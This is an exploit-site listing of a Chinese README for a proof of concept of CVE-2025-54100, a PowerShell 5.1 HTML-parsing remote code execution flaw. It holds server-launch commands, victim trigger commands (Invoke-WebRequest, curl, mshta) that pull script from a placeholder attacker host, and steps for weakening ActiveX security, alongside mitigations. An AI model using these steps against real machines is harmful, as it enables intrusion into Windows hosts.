Sploitus

Exploit for CVE-2025-54100

kitploit · 2026-09-07

Exploit Code

MARKDOWN123 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THEMEHACKERS-CVE-2025-54100
# CVE-2025-54100 – PowerShell 响应解析 PoC

一个简洁的概念验证,展示**CVE-2025-54100** 如何通过恶意HTML解析在Windows PowerShell 5.1中导致远程代码执行(RCE)。

## Table of Contents

  * 什么是CVE-2025-54100?
  * PoC工作原理
  * 快速开始
  * 从受害者主机触发
  * 故障排除与验证
  * 证据
  * 缓解措施
  * 免责声明
  * 参考资料



## 什么是CVE-2025-54100?

  * **类型:** 当**未** 使用`-UseBasicParsing`时,`Invoke-WebRequest`中的命令注入
  * **严重性:** CVSS 7.8(高)
  * **根因:** 基于MSHTML的HTML响应解析允许在调用者上下文中执行脚本(例如`ActiveXObject`)。
  * **影响范围:** 运行PowerShell 5.1的Windows 10/11和Windows Server 2008-2025。



## PoC工作原理

  1. `CVE-2025-54100.py`中的FastAPI服务器提供一个精心构造的HTML载荷。
  2. 该载荷尝试实例化`WScript.Shell` / `Shell.Application` ActiveX对象。
  3. 在受影响的主机上,MSHTML解析器执行该脚本,通过启动`calc.exe`演示RCE。
  4. 提供的载荷有意保持最小且无破坏性,但可修改以用于进一步研究。



## 快速开始

### 先决条件

  * Python 3.10+(已使用FastAPI和Uvicorn测试)
  * 安装依赖: 

root@kitploit:~
        
        python3 -m venv .venv
        source .venv/bin/activate
        pip3 install -r requirements.txt
        




### 运行恶意服务器

启动PoC HTTP服务器:

root@kitploit:~
    
    
    uvicorn app:app --host 0.0.0.0  --port 8888 --reload
    

## 从受害者主机触发

在受影响(且**未** 使用`-UseBasicParsing`)的Windows机器上运行以下命令:

root@kitploit:~
    
    
    # Invoke-WebRequest
    Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
    # curl alias
    curl http://<attacker-ip>:8888
    # mshta
    mshta http://<attacker-ip>:8888
    

使用与服务器配置相同的端口。如果存在漏洞,嵌入的脚本将通过MSHTML解析器执行。某些防病毒产品可能会阻止此行为,即使解析问题仍然存在。

## 故障排除与验证

如果`calc.exe`未弹出:

  1. 在受害者主机上打开**Internet选项** 。
  2. 转到**安全** → **自定义级别...**
  3. 启用**“对未标记为可安全执行脚本的ActiveX控件初始化并执行脚本。”**
  4. 重新运行不带`-UseBasicParsing`的`Invoke-WebRequest`。



> 这展示了执行向量。现实世界的载荷可能使用混淆或额外的绕过技术来规避默认限制。

## 证据

![PoC](https://assets.kitploit.com/production/public/readmes/21175/801e3b4d0ae649f4452869116b4f2262d55656dee1538fb24ef547171b67e0d8.png)

## 缓解措施

微软于2025年12月修复了此问题:

  1. **在受影响的Windows主机上应用安全更新** 。
  2. **使用`-UseBasicParsing`** 以避免MSHTML解析: 

root@kitploit:~
         
         Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
         

  3. **迁移到PowerShell 7+** (pwsh),它不依赖MSHTML进行解析。



## 免责声明

> [!WARNING] 仅用于教育和授权测试。请负责任地使用并遵守所有适用法律。作者不对滥用或损害负责。

## 参考资料

  * NVD:CVE-2025-54100
  * MSRC:更新指南
  * GitHub:osman1337-security/CVE-2025-54100